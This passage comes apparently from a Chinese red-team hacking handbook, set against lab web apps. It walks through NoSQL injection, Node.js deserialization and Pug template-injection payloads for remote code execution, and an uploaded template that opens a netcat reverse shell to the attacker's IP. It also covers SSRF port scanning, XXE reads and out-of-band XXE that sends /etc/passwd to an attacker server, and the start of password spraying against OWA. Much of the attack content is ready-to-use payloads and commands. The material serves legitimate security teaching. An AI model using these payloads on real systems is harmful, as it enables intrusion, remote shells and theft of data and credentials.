login。\n图3.17\n您已经以admin身份登录！您已经利用Express框架中的qs模块（正文解析器中间件一部分）存在的解析漏洞，执行NoSQL注入攻击。如果您不知道选用哪个用户名攻击怎么办？我们可以使用同样的攻击方法，查找和登录其他账户吗？\n如果我们尝试使用用户名比较，而不是密码比较呢？在这种情况下，NoSQLi POST请求如下所示。\nusername[$gt]=admin&password[$gt]=&submit=login。\n上面的POST请求实际上是在数据库中查询大于admin的用户名，密码字段始终正确。如果成功了，您可以找到管理员的下一个用户（按字母顺序），并以他的身份登录。继续这样做，直到找到超级账户。\n3.3.11 反序列化攻击\n在过去几年中，针对网站开展序列化/反序列化攻击变得越来越流行。我们在BlackHat上看到了很多不同的讨论，内容主要是挖掘了Jenkins和Apache Struts 2等常见应用程序中的序列化关键漏洞，同时出现了大量反序列化研究项目ysoserial。那么反序列化攻击为什么这么引人关注呢？\n在开始之前，我们需要了解为什么要序列化。序列化数据有很多原因，其中主要的原因是用于生成值/数据的存储，而不改变其类型或结构。序列化将对象转换为字节流，用于网络传输或存储。通常，转换方法涉及XML、JSON或针对某语言的序列化方法。\n1．Node.js中的反序列化\n很多时候，挖掘复杂的漏洞需要深入了解应用程序。在这个场景中，Node.js聊天应用程序使用存在漏洞的serialize.js版本。这个库存在漏洞，易受攻击，原因是不受信任的数据传递给unserialize()函数，可以被利用，执行任意代码，具体操作是将中间调用函数表达式（IIFE）传递给JavaScript对象。\n我们先来详细了解攻击的细节，以便更好地了解发生了什么事情。首先，我们查看serialize.js文件并快速搜索eval，如图3.18所示。一般情况下，JavaScript eval语句包括用户输入数据是存在问题的，因为eval()执行原始JavaScript。如果攻击者能够将JavaScript注入此语句中，则能够在服务器上远程执行代码。\n图3.18\n其次，我们需要创建一个序列化静荷，静荷将被反序列化，并通过eval运行，同时JavaScript静荷需要运行 ('child_process').exec('ls')。\n{\"thp\":\"_$$ND_FUNC$$_function (){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) {console.log(stdout) });}()\"}。\n上面的JSON对象将把以下请求“(){require('child_process').exec('ls')”传递给unserialize函数中的eval语句，实现远程代码执行。最后需要注意的是，结尾括号添加了“()”，因为没有括号我们的函数就不会被调用。研究员Ajin Abraham最早发现这个漏洞，应用中间调用函数表达式或IIFE在创建函数后，执行该函数。\n在聊天应用程序的例子中，我们将查看Cookie值，Cookie使用存在漏洞的库进行反序列化。\n访问http://chat:3000。\n在burp中代理流量并查看Cookie值，如图3.19所示。\n图3.19\n找到一个Cookie名称“donotdecodeme”。\n将该Cookie复制到Burp Suite解码器中，对其进行Base64解码，如图3.20所示。\n如前所述，每种语言都有其独特之处，Node.js也不例外。在Node/Express/Pug框架中，您无法直接写入Web目录，并且像在PHP中一样访问它。必须指定访问文件夹的路径，文件夹需要可写并且可以被公共的互联网访问。\n图3.20\n2．创建静荷\n在开始之前，需要注意实验中的所有这些静荷都采用易于复制/粘贴的格式。\n获取原始静荷，修改您的Shell执行命令“'DO SYSTEM COMMANDS HERE'”。 \n{\"thp\":\"_$$ND_FUNC$$_function(){require('child_process').exec('DO SYSTEM COMMANDS HERE',function(error, stdout, stderr) { console.log(stdout) });}()\"}\n示例如下。 \n{\"thp\":\"_$$ND_FUNC$$_function(){require('child_process').exec('echo node deserialization is awesome!! >>/opt/web/chatSupportSystems/public/hacked.txt', function(error, stdout, stderr) { console.log(stdout) });}()\"}\n由于原始 Cookie 已经编码，因此我们需要使用 Burp 解码器/编码器对静荷进行base64编码。 \n示例静荷，如图3.21所示 eyJ0aHAiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZSgnY 2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2VjaG8gbm9kZSBkZXNlcmlhbGl6YX Rpb24gaXMgYXdlc29tZSEhID4+IC9vcHQvd2ViL2NoYXRTdXBwb3J0U3lz dGVtcy9wdWJsaWMvaGFja2VkLnR4dCcsIGZ1bmN0aW9uKGVycm9yLCBz dGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQpIH0pO30oKSJ9\n注销，打开Burp拦截，并转发请求/（home）。 \n修改Cookie添加新创建的Base64静荷\n转发流量，因为/是公开文件夹，您可以打开浏览器访问 http://chat: 3000/hacked.txt。\n您现在实现了远程执行代码，可以随意对此系统进行后期利用。首先尝试访问/etc/passwd。\n图3.21\n如图3.22所示，在node-serialize模块的源代码中，我们看到这个函数表达式正在被计算，用户输入可能被执行，对于任何JavaScript/Node.js应用程序来说，这都是一个严重的问题。这种糟糕的实现方式导致我们可以突破这个应用程序。\n图3.22\n3.3.12 模板引擎攻击——模板注入\n与标准HTML相比，模板引擎由于其模块化和简洁的代码，被广泛使用。模板注入是指用户输入直接传递到渲染模板，导致底层模板的修改。模板注入攻击已经出现在wikis、WSYWIG或电子邮件领域。因为这种情况很少是意外发生的，所以经常被误解为XSS。模板注入攻击使得攻击者可以访问底层操作系统，从而远程执行代码。\n在下一个示例中，您将通过Pug对Node.js应用程序执行模板注入攻击。我们无意中将自己暴露在带有用户输入的元重定向的模板注入中，这是使用模板文本‘$｛｝’呈现的。值得注意的是，模板文字允许使用换行符，这要求我们不要跳出段落标记，因为Pug对空格和换行符很敏感，类似于Python。\n在Pug中，第一个字符或单词代表关键字，用于指明标签或者函数。您也可以使用缩进指定多行字符串，如下所示。\np。 \n这是一个段落缩进\n这仍然是段落标记的一部分\n以下是 HTML 和Pug模板的示例，如图 3.23所示。\n图3.23\n上面的示例文本显示了模版在HTML中的排版以及模版在Pug Markup语言中的排版。通过模板和字符串插值，我们可以创建快速、可重用且高效的模板。\n1．模板注入示例\n聊天应用程序容易受到模板注入攻击。在下面的应用程序中，我们将观察到是否可以与Pug模板系统进行交互。这可以通过检查输入参数是否可以处理基本操作进行判断。James Kettle写过一篇论文介绍攻击模板以及与底层模板系统的交互方式。\n与Pug交互的步骤如下。\n访问http://chat:3000，使用任何有效账户登录。\n访问http://chat:3000/directmessage并输入用户和评论，单击“发送”。\n接下来，回到directmessage，尝试在用户参数处添加XSS静荷<script>alert(1) </script>。 \nhttp://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&co mment=&link=\n图 3.24 所示表明应用程序存在XSS漏洞，但是可以与模板系统进行交互吗？\n图3.24\n在Burp历史记录中，查看服务器请求/响应，指向端点数据包/ti?user=，并将请求发送到Burp Repeater（<Ctrl + R>组合键），如图3.25所示。\n图3.25\n2．测试基本操作\n我们可以通过传递一个算术字符串来测试XSS易受攻击的参数是否用于模板注入。如果输入被评估，那么表明参数存在模板注入攻击的风险，这是因为模板（如编码语言）可以轻松支持算术运算。\n基本操作测试如下。\n使用Burp Repeater工具，对/ti测试各种模板注入参数。我们可以通过诸如9 × 9的数学运算完成相应测试。\n我们可以看到计算并不正确，得到的运算结果不是81，如图3.26所示。请记住，用户输入包含在段落标记中，因此可以假设我们的Pug模板代码如下所示。 \np Message has been sent to !{user}\n图3.26\n利用Pug的特点。\n（1）正如前文所述，Pug是用空格分隔的（类似于Python），换行符用于输入一个新的模板，这意味着如果跳出Pug中的当前行，就可以执行新的模板代码。在这种情况下，我们将跳出段落标记（<p>），如上所示，执行新的恶意模板代码。为此，我们必须使用一些URL编码来利用此漏洞。\n（2）逐步完成每个要求实现模板注入。\n首先，我们需要另起一行，跳出当前模板。这可以使用以下字符来完成。 \n%0a new line\n其次，我们可以在Pug中使用“=”符号进行数学计算。 \n%3d 是“=” 的编码\n最后，我们可以输入数学方程式。 \n9 × 9数学方程式\n（3）因此，最终的静荷将如下所示。\n[newline]=9\\*9\nURL编码： GET/ti?user=%0a%3d9*9&comment=&link=\n（4）/ti?user =%0a%3d9 * 9在响应正文中输出了81，如图3.27所示。您在用户参数中实现了模板注入！我们利用JavaScript远程执行代码。\n图3.27\n正如您在响应中所看到的，我们在段落标记之外看到“81”的输出结果，而不是用户名！这意味着我们能够注入模板。\n我们现在知道程序存在一些模板注入漏洞，可以进行简单的计算，但我们需要了解是否可以执行Shell。我们必须在Node/JavaScript中通过正确的函数来执行Shell。\n首先，识别全局根对象，然后继续确定可以访问哪些模块和功能。最终使用Require函数导入child_process .exec，运行操作系统命令。在Pug中，“=”字符允许输出JavaScript结果。我们将从访问全局根对象开始。 \n[new line]=globa\n使用Burp的解码器工具将上述表达式进行URL编码，可以得到：%0a%3d %20%67%6c%6f%62%61%6c\n使用上面的URL编码字符串作为用户值并重新发送。\n在提交之前的请求后，如果一切顺利，我们将看到[object global]，如图3.28所示，这意味着我们可以访问全局对象。\n图3.28\n解析全局对象。\n 通过在全局范围内使用Pug迭代器“each”，查看可以访问的对象和属性。注意换行符（%0a）和空格（%20）。\n全局中的每个变量和索引 p = index\nURL编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e% 20%67%6c%6f%62%61%6c%0a%20%20%70%3d%20%69%6e%64%65%78\n 在上面的示例中，我们使用‘each’迭代器，它可以访问值，并且如果指定数组或对象，也可以访问索引。我们试图找到全局对象中可以访问的对象、方法或模块。最终目标是找到类似“require”的方法执行子进程.exec。从现在开始，我们反复对方法和对象进行试验和试错，最终找到require方法，如图3.29所示。 \n图3.29\n搜索代码执行函数。\n 从上一个请求中，我们看到了全局中的所有对象以及一个名为“process”的对象。接下来，我们需要识别有趣的对象，这些对象可以在global.process中访问到。\n- var x = global.process.mainModule.require p= index\nURL编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e %20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%0a%20%20 %70%3d%20%69%6e%64%65%78\n 我们尝试在所有可用的方法中选择“process”，因为它最终会执行 require，如图3.30所示。您可以选择不同的迭代方法，来对过程进行试验和试错。 \n图3.30\nglobal.process.mainModule的每个变量和索引 p= index\nURL编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69 %6e%20%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%2e%6d %61%69%6e%4d%6f%64%75%6c%65%0a%20%20%70%3d%20%69%6e%64 %65%78\n远程执行代码。\n发送最终的静荷，我们应该在global.process.mainModule中看到“require”函数。现在可以设置导入‘child_process’和.exec实现远程代码执行。 \n- var x = global.process.mainModule.require\n- x('child_process').exec('cat/etc/passwd >>/opt/web/chatSupportSystems/ public/accounts.txt')\nURL编码： %0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%62%61%6c%2e %70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65 %2e%72%65%71%75%69%72%65%20%0a%2d%20%78%28%27%63%68%69 %6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28 %27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%3e %3e%20%2f%6f%70%74%2f%77%65%62%2f%63%68%61%74%53%75%70 %70%6f%72%74%53%79%73%74%65%6d%73%2f%70%75%62%6c%69%63 %2f%61%63%63%6f%75%6e%74%73%2e%74%78%74%27%29\n在上面的示例中，我们像在JavaScript中一样定义变量“x”，但行首的破折号表示无缓冲输出（隐藏）。我们将全局对象和最终获得require所需的模块一起使用，从而可以使用child_process.exec来运行系统命令。\n将/etc/passwd的内容输出到Web公共根目录，这是唯一具有写入权限的目录（由应用程序创建者设计），并且允许用户查看内容。我们也可以执行反向Shell或系统命令允许的任何其他内容。\n我们可以访问http://chat:3000/accounts.txt，包含网站服务器/etc/passwd的内容，如图3.31所示。\n图3.31\n在系统上实现远程执行代码并返回Shell。\n现在，我们可以自动化这个过程吗？当然可以。一个名为Tplmap的工具（可在GitHub网站中搜索）与SQLmap类似，它尝试将所有不同的模板注入组合，如图3.32所示。\ncd /opt/tplmap\n./tplmap.py -u \"http://chat:3000/ti?user=*&comment=asdfasdf&link=\"\n图3.32\n3.3.13 JavaScript和远程代码执行\n在每次安全评估和Web应用程序渗透测试中，我们尽可能实现远程执行代码。虽然远程执行代码几乎会出现在任何地方，但是常见于上传WebShell、Imagetragick漏洞利用、使用Office文件开展XXE攻击、目录遍历结合上传功能实现关键文件替换等过程。\n通常，我们可能会尝试找到上传区域，并使用Shell。下面的网址包含各种不同类型的webshell静荷（可以GitHub网站中搜索）。注意，这些Shell没有经过任何审查，使用它们您需要自担风险。我在互联网上见到很多网站Shell中包含恶意软件。\n利用上传缺陷攻击存在漏洞的聊天应用程序\n在实验中，我们将在Node应用程序上实现代码上传和远程执行。在示例中，文件上传功能允许上传任何文件。不幸的是，对于Node应用，我们不能像PHP语言那样，通过Web浏览器调用文件，实现文件的执行。因此，在这种情况下，我们将使用动态路由端点，尝试呈现Pug文件的内容。如图3.33所示，端点读取文件的内容，并且认为是Pug文件，因为默认目录存在于Views目录中，这就是漏洞所在。此端点还存在路径遍历和本地文件读取漏洞。\n图3.33\n在上传过程中，文件处理程序模块将该文件重新命名为随机字符串，并且不带扩展名。在页面的上传响应内容中，存在上传文件的服务器路径位置。利用此路径信息，我们可以使用/drouting执行模板注入攻击，实现远程代码执行。\n既然我们知道底层应用程序是Node（JavaScript），那么我们可以通过Pug上传什么样的静荷并用于执行？回到之前使用的简单示例。\n首先，将变量分配给require模块。 \n-var x = global.process.mainModule.require\n使用子进程模块访问操作系统功能函数，运行任何系统命令。 \n-x('child_process').exec('nc [Your_IP] 8888 -e/bin/bash')\n执行远程代码上传攻击。\n访问http://chat:3000并使用任何有效账户登录，如图3.34所示。\n图3.34\n上传下面的文本文件信息。在Pug中，“-”字符表示执行JavaScript。 \n-var x = global.process.mainModule.require\n-x('child_process').exec('nc [Your_IP] 8888 -e/bin/bash')\n通过Burp工具，查看上传文件的请求和响应数据包，如图3.35所示。您将看到在POST请求响应数据包中，包含上传文件的散列值以及对动态路由的引用。\n在此模板代码中，我们将require函数分配给child_process.exec，以便在操作系统级别上运行命令。Web服务器运行代码，回连到监听器IP地址和8888端口上，我们可以获得Web服务器Shell。\n在攻击者计算机上，启动netcat监听器，准备Shell回连。 \nnc -l -p 8888\n图3.35\n在端点上运行动态路由，从而激活代码。在浏览器中，找到上传的散列文件。动态路由端点采用指定的Pug模板进行呈现。幸运的是，我们上传的Pug模板包含反向Shell。 \n在浏览器中访问drouting端点，使用从文件上传响应中恢复的文件。我们使用目录遍历“../”来降低一个目录，以便能够进入包含恶意文件的上传文件夹。\n/drouting?filename=../uploads/[YOUR FILE HASH]\n返回监听8888端口终端，使用Shell开始交互操作，如图3.36所示。\n图3.36\n3.3.14 服务器端请求伪造（SSRF）\n服务器端请求伪造（SSRF）通常容易被误解，并且在表述方面，经常与跨站点请求伪造（CSRF）混为一谈。虽然这个漏洞已经存在了一段时间，但实际上大家对这个漏洞还不是很了解，特别是其带来的严重后果。我们来介绍一下SSRF是什么以及为什么会产生这个漏洞。\n服务器端请求伪造通常用于访问本地系统、内部网络或某种迁移。现在通过一个简单的示例来理解 SSRF。假设有一个公共网站应用程序，允许用户通过互联网的网址上传配置文件图片。您登录该站点，访问个人配置，然后单击按钮，从 Imgur（公共图像托管服务）更新配置信息。您提供图像网址并单击提交。接下来发生的事情是服务器创建一个全新的请求，访问Imgur站点，抓取图像（可能会执行一些图像操作以调整图像大小—imagetragick），将其保存到服务器，并给用户发送成功消息。如您所见，我们提供了一个URL，服务器获取该URL并获得图像，然后将其上传到数据库。\n我们最初向 Web 应用程序提供URL，以便从外部资源获取配置文件图片。但是，如果我们将图像网址指向http://127.0.0.1:80/favicon.ico，会发生什么？这将告诉服务器，不需要访问Imgur，仅需要从网站服务器的本地主机（自身）获取favicon.ico。如果我们能够获得200条消息或使个人资料图片来自于本地的图标，我们就会知道可能存在SSRF漏洞。\n网站服务器运行在80端口，如果我们尝试连接到http://127.0.0.1:8080（这是一个除本地主机之外，其他主机无法访问的端口），会发生什么情况？这非常有趣。如果我们能得到完整的HTTP请求/响应数据包，而且可以在本地对端口8080发出GET请求，那么如果我们发现易受攻击的Jenkins或Apache Tomcat服务，会发生什么？即使这个端口没有对外公开，我们也许可以突破控制这个设备。如果我们开始请求内部地址http://192.168.10.2-254，而不是127.0.0.1会怎样？回想一下那些网站扫描工具，如果获得内部网络地址，那么扫描工具会重新发挥作用，可以用来发现内部网络服务的漏洞。\n发现SSRF漏洞后，您可以做以下工作。\n（1）在本地回环接口上访问服务。\n（2）扫描内部网络并与这些服务进行交互（GET/POST/HEAD）。\n（3）使用FILE://，读取服务器上的本地文件。\n（4）利用AWS Rest接口。\n（5）横向移动到内部环境中。\n在图3.37中，我们在Web应用程序上发现了一个SSRF漏洞，综合利用该漏洞。\n图3.37\n让我们来看一个真实的例子。\n在聊天支持系统（http://chat:3000/）网站应用程序中，首先确保创建一个账户并登录。\n登录后，通过链接访问直接消息（DM）或直接访问http://chat:3000/directmessage。\n在“Link”文本框中，输入http://cyberspacekittens.com网站，然后单击预览链接。\n您现在应该看到http://cyberspacekittens.com呈现的页面，但URI栏仍应指向聊天应用程序。\n这表明该站点容易存在SSRF漏洞。如图3.38所示，我们也可以尝试访问chat:3000/ ssrf?user=&comment=&link=http://127.0.0.1:3000并指向localhost。注意，页面表明我们现在访问服务器站点本地。\n我们知道应用程序本身正在监听端口3000。我们可以使用Nmap工具从外部对设备进行扫描，并发现当前没有其他的Web端口开放，但是有什么服务仅可用于localhost开放呢？为了弄清楚，我们对127.0.0.1的所有端口进行暴力扫描。我们可以使用Burp Suite和Intruder工具完成这个任务。\n图3.38\n在Burp Suite中，单击“Proxy/HTTP History”选项卡，找到我们上一个SSRF的请求。\n右键单击请求正文选择“Send to Intruder”。\n❽Intruder”选项卡将变为可用，转到“位置”选项卡，然后单击“清除”。\n单击并突出显示端口“3000”，然后单击Add。GET请求如下所示。 \nGET/ssrf?user=&comment=&link=http://127.0.0.1:§3000§ HTTP/1.1\n单击“Payloads”选项卡，然后选择静荷类型“Numbers”。如图3.39所示，选择端口28000～28100。通常选择所有端口，但是在本实验中仅选择一部分。 \nFrom: 28000\nTo: 28100\nStep: 1\n单击“Start attack”按钮。\n如图3.40所示，您将看到端口28017的响应长度远大于所有其他请求。如果打开浏览器访问网址：http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017，就可以利用SSRF漏洞访问MongoDB网站界面，如图3.41所示。\n图3.39\n图3.40\n图3.41\n您应该能够访问所有链接，但需要借助 SSRF 漏洞。要访问 serverStatus（http://chat: 3000/serverStatus?text=1），如图3.42所示，您必须使用SSRF攻击方法并跳转到下面的网址。\n图3.42\nhttp://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus? text=1。\n服务器端请求伪造漏洞的危害可能非常大。服务器端请求伪造漏洞不是新漏洞，目前发现的SSRF漏洞数量依然在不断增加。由于SSRF漏洞允许攻击者在基础网络内部进行迁移，因此通常会造成其他关键服务的暴露。\n3.3.15 XML eXternal Entities（XXE）\nXML 是可扩展标记语言的缩写，主要用于发送/存储易于理解的数据。XML eXternal Entities（XXE）是指应用程序中XML解析器漏洞。应用程序中的XML解析器具有允许文件上传、解析Office文档、JSON数据甚至Flash类型游戏等功能。当解析 XML 时，不正确的验证可能导致攻击者读取文件，发起拒绝服务攻击，甚至执行远程代码。从宏观角度来看，应用程序具有以下需求：（1）解析用户提供的XML数据；（2）实体的系统标识符部分必须在文档类型声明（DTD）内；（3）XML解析器必须验证/处理DTD并解析外部实体。正常XML和恶意XML的对比如表3.1所示。\n表3.1\n 正常XML文件\n 恶意XML文件\n <?xml version=\"1.0\" encoding=\"ISO- 8859-1\"?> <Prod> <Type>Book</type> <name>THP</name> <id>100</id> </Prod>\n <?xml version=\"1.0\" encoding=\"utf- 8\"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]> <xxx>&xxe;</xxx>\n上面，我们有一个普通的XML文件和一个定制的读取系统的/etc/passwd内容的XML文件。我们来看一看，是否可以在真实的XML请求中注入恶意XML请求。\nXXE实验\n本实验需要自定义请求配置，有一个VMWare虚拟机可用于XXE攻击。\n下载后，在VMWare中打开虚拟机并启动它。在登录界面中，您无须登录，但需要获取系统的IP地址。\n设置浏览器。\n通过Burp Suite代理所有流量。\n访问网址：http://[虚拟机IP地址]。\n拦截流量并单击“Hack the XML”。\n在加载页面后，查看页面的HTML源代码，会有一个通过POST请求提交的隐藏字段。XML内容如下所示。\n<?xml version=\"1.0\" ?>\n<!DOCTYPE thp [\n <!ELEMENT thp ANY>\n <!ENTITY book \"Universe\">\n]>\n<thp>Hack The &book;</thp>\n在这个例子中，指定XML版本为1.0，DOCTYPE指定根元素是thp，!ELEMENT指定任何类型，并且!ENTITY设置book字符串“Universe”。最后，在XML输出中，我们希望从解析XML文件中打印出实体内容。\n这通常是您在发送XML数据的应用程序中看到的内容。由于控制了POST数据中的XML请求数据，因此我们可以尝试注入恶意实体。默认情况下，绝大多数XML解析库都支持SYSTEM关键字，该关键字允许从URI读取数据（包括使用file://协议从系统本地读取数据）。因此，我们可以创建实体读取/etc/passwd文件。正常XML和恶意XML的对比如表3.2所示。\n表3.2\n 原始XML文件\n 恶意XML文件\n <?xml version=\"1.0\" ?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book \"Universe\"> ]> <thp>Hack The &book;</thp>\n <?xml version=\"1.0\" ?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book SYSTEM \"file:///etc/passwd\"> ]> <thp>Hack The &book;</thp>\nXXE实验——读取文件\n拦截流量并在[IP of Your VM]/xxe.php中单击“Hack the XML”。\n将截获的流量发送到Repeater。\n修改POST参数中“data”内容。 \n<?xml version=\"1.0\" ?><!DOCTYPE thp [ <!ELEMENT thp ANY><!ENTITY book SYSTEM \"file:///etc/passwd\">]><thp>Hack The %26book%3B</thp>\n请注意%26等同于&，%263B等同于；．我们需要对符号和分号字符进行百分比编码。\n提交流量，我们能够读取/etc/passwd文件，如图3.43所示。\n图3.43\n3.3.16 高级XXE—带外（XXE-OOB）\n在之前的攻击中，我们能够在<thp>标签中获得响应。如果看不到响应或遇到字符/文件限制，我们怎样把数据发送到带外（OOB）？我们可以提供远程文档类型定义（DTD）文件来执行OOB-XXE，而不是在请求静荷中定义攻击。DTD是具有完整结构的XML文件，它定义了XML文档的结构、合法元素及属性。为了方便起见，DTD 文件包含所需的攻击/渗透静荷，这将帮助我们解决许多字符限制的问题。在实验示例中，我们将使易受攻击的 XXE 服务器请求托管在远程服务器上的DTD文件。\n新的XXE攻击将分以下4个阶段进行。\n修改的XXE XML攻击。\n使易受攻击的XML解析器从攻击者的服务器获取DTD文件。\nDTD文件包含读取/etc/passwd文件的代码。\nDTD文件包含用于泄露数据内容的代码（可能编码）。\n设置攻击设备和XXE-OOB静荷。\n我们将指定外部DTD文件，而不是原始文件读取。 \n<!ENTITY % dtd SYSTEM \"http://[Your_IP]/payload.dtd\"> %dtd;\n新的数据POST静荷显示如下（请记住改变[Your_IP]）。 \n<?xml version=\"1.0\"?><!DOCTYPE thp [<!ELEMENT thp ANY><!ENTITY % dtd SYSTEM \"http://[YOUR_IP]/payload.dtd\">%dtd;]><thp><error>%26send%3B </error> </thp>\n在攻击者服务器上创建名为payload.dtd的文件。 \ngedit/var/www/html/payload.dtd\n<!ENTITY % file SYSTEM \"file:///etc/passwd\">\n<!ENTITY % all \"<!ENTITY send SYSTEM'http://[Your_IP]:8888/collect= %file;'>\">\n%all;\n刚刚创建的DTD文件的作用是从存在XXE漏洞的服务器读取/etc/passwd，然后将敏感数据通过Web请求回传到攻击者主机。为了确保收到响应，需要启动Web服务器，提供DTD文件访问，并设置NetCat监听器。 \nnc -l -p 8888\n您可能看到以下错误内容：simplexml_load_string(): parser error : Detected an entity reference loop in <b>/var/www/html/xxe.php</b> on line <b>20。在进行XXE攻击时，通常会遇到解析器错误。很多时候，XXE解析器只解析部分字符，因此读取带有特殊字符的文件将导致解析器崩溃。如何才能解决这个问题呢？对于PHP，我们可以使用PHP输入/输出流读取本地文件，并使用php://filter/read=convert.base64- encode对文件进行base64编码。运行NetCat监听器，修改payload.dtd文件来启用这个功能，如图3.44所示。 \n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource= file:///etc/passwd\">\n<!ENTITY % all \"<!ENTITY send SYSTEM'http://[Your_IP]:8888/collect=%file;'>\">\n%all;\n图3.44\n在重新发送新修改的请求后，我们现在可以看到被攻击者服务器首先读取payload.dtd文件，处理该文件，并向端口8888上的NetCat监听程序发送第二个Web请求。当然，GET请求是base64编码的，我们需要对请求数据包解码。\n3.4 结论\n这只是您可能遇到的各种网络攻击的一小部分，目的是开阔眼界，了解这些新框架如何引入旧的和新的攻击方式。许多常见的漏洞和应用程序扫描程序，往往会忽略这些更复杂的漏洞，因为这些漏洞是与语言或框架相关的。我的主要观点是，为了对目标进行充分的审查，您需要真正理解语言和框架。\n第4章 带球——突破网络\n在评估开始的第二天，您使用Nmap工具扫描整个网络，不走运地启动了漏洞扫描程序，但是没有在任何网站应用程序中发现突破口。有点沮丧，您退后一步，查看所有的探测结果。您知道，一旦可以进入网络，就可以使用大量的技巧获取更多的凭证，在设备之间迁移，利用活动目录存在的漏洞，找到我们都渴望的网络空间“战利品”。当然，您知道这不是一件容易的事。您需要绕过大量的障碍，防止错误信息的误导，以及进行大量的尝试。\n在本书第2版的第3章中重点介绍了如何利用漏洞扫描程序的结果，并通过这些漏洞进行突破。这些漏洞包括Metasploit、打印机漏洞、“心脏滴血”、Shellshock、SQL注入和其他类型的常见漏洞。最近，出现了许多威力强大的代码执行漏洞，如永恒之蓝（MS017-10）漏洞、多个Jenkins漏洞、Apache Struts 2漏洞和CMS应用程序漏洞等。由于本书是黑客秘笈的红队版本，因此我们不会过度关注如何使用这些工具或如何利用特定漏洞。相反，我们将专注于如何利用目标网络环境和实际业务开展攻击。\n在本章中，您将专注于红队策略，利用企业基础架构漏洞，获取凭证了解内部网络情况以及在主机和网络之间进行迁移。我们将在运行单个漏洞扫描程序的情况下完成任务。\n4.1 从网络外部查找凭证\n作为红队，找到目标突破口可能很复杂，而且需要大量资源。在本书前两版中，我们复制了被攻击者的身份鉴权页面，购买了相似的域名，搭建了钓鱼网站，生成定制的恶意软件等。\n有时，我告诉红队……一定要把事情简单化。很多时候我们提出了疯狂复杂的计划，但是最终发挥作用的是最简单的计划。\n常用的一种基本技术是密码暴力破解。但是，作为红队，我们必须了解如何巧妙地做到这一点。随着公司的发展，公司引入了更多的技术和工具。对于攻击者来说，这无疑提供了施展能力的舞台。当公司开始连接互联网时，我们开始了解身份验证技术，应用于电子邮件（ieOffice 365或OWA）、通信（Lync、XMPP、WebEx）工具、协作工具（JIRA、Slack、Hipchat、Huddle），以及其他外部服务（Jenkins、CMS站点、支持站点）。这些是我们想要攻击的目标。\n我们尝试攻击这些服务器/服务的原因是，我们正在寻找根据被攻击者的轻量目录访问协议（LDAP）/活动目录（AD）基础架构进行身份验证的应用程序。这可以通过某些活动目录集合、单点登录过程或直接管理活动目录。我们需要找到一些常用的凭证，从而可以开展下一步攻击。从侦察阶段开始，发现并识别了大量电子邮件和用户名账户，我们可以通过所谓的密码喷射实施攻击。我们将针对所有不同的应用程序，尝试猜测基本密码，正如我们在现实世界的高级持续威胁（APT）攻击事件中看到的那样。\n我们为什么要对不同的外部服务进行身份鉴权？\n某些身份验证源不会记录来自外部服务的尝试。\n虽然我们通常会看到需要双因素身份验证的电子邮件或VPN，但是面向外部的聊天系统可能不需要。\n密码重用率非常高。\n有时外部服务不会在多次错误尝试时锁定AD账户。\n目前有许多工具可以用于暴力破解，但是这里我们只重点介绍其中的几个。第一个是Spray工具，来自Spiderlabs实验室。虽然Spray使用时有点复杂，但是我非常喜欢这个工具提供的密码“喷射”功能。例如，该工具支持SMB、OWA和Lync（Microsoft Chat）协议。\n要使用密码喷射功能，需指定以下内容。\nspray.sh -owa <targetIP> <usernameList> <passwordList><AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <Domain>。\n正如您将在下面的示例中看到的那样，我们运行Spray工具，攻击cyberspacekittens公司的虚假OWA邮件服务器（实际上根本存在），当它尝试用户名peter和密码Spring2018时，身份认证通过了（您可以通过数据长度判断是否成功），如图4.1所示。\n这是一个使用Curl工具快速脚本实现的OWA系统暴力破解 图4.1\n我经常遇到的一个问题是尝试使用哪些密码，因为在锁定账户之前，您只能进行有限次数的密码尝试。这个问题没有明确的答案，尝试的内容严重依赖于攻击目标。我们曾经成功尝试非常简单的密码，如“Password123”，但很少有用户使用这样简单的密码。通常我们尝试的凭证密码如下。\n季节+年份。\n本地运动队+数字。\n查看之前的泄露事件，找到目标公司的用户并使用类似的密码。\n公司名称+年份/数字/特殊字符（!、$、#和@）。\n使用这些密码，我们可以慢慢地全天候进行扫描尝试，以免触发任何账户锁定。请记住，只需要一个密码就可以进入目标系统！\nSpray 工具配置非常简单，并且通过设置可以应用在其他应用程序。您需要做的是捕获密码尝试的POST请求（您可以在Burp Suite中捕获请求），复制所有请求数据，并将其保存到文件中。对于任何需要暴力破解的字段，您需要提供字符串“sprayuser”和“spraypassword”。\n举个例子，在我们的环境中，post-request.txt文件将如下所示。\nPOST/owa/auth.owa HTTP/1.1\nHost: mail.cyberspacekittens.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101\nFirefox/52.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer:\nhttps://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f\nCookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0\nConnection: close\nUpgrade-Insecure-Requests: 1\nContent-Type: 